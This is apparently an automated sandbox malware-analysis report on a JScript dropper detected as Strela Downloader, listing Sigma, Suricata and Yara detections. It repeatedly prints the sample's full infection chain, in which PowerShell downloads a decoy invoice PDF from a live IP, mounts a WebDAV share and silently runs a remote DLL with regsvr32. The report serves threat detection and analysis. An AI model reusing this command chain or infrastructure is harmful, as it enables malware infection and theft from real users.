Edit tour

Windows Analysis Report
91931239167124381.js

Overview

General Information

Sample name:	91931239167124381.js
Analysis ID:	1588740
MD5:	bdb44b3fa791be62fc7b771c5b1ad90e
SHA1:	f95f7fdbbc2864e6043ca5be04e4133de6fb2ea1
SHA256:	496570a742ba88aa15849accb619d7c2b6d8788f282dac1a8b8049fc6c67ab4b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7080 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4256 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1816 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3688 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1892 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1736,i,1882403931512097069,11823201938671054370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6128 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4288 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1272 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7080	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4256, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1816, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4256, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1816, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ProcessId: 7080, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4288, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ProcessId: 7080, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4256, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1816, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4288, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1272, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4288, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91931239167124381.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7080, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29252415726788.dll, ProcessId: 4256, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:54:18.415091+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:54:20.784857+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:54:18.415091+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 91931239167124381.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 91931239167124381.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:54:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
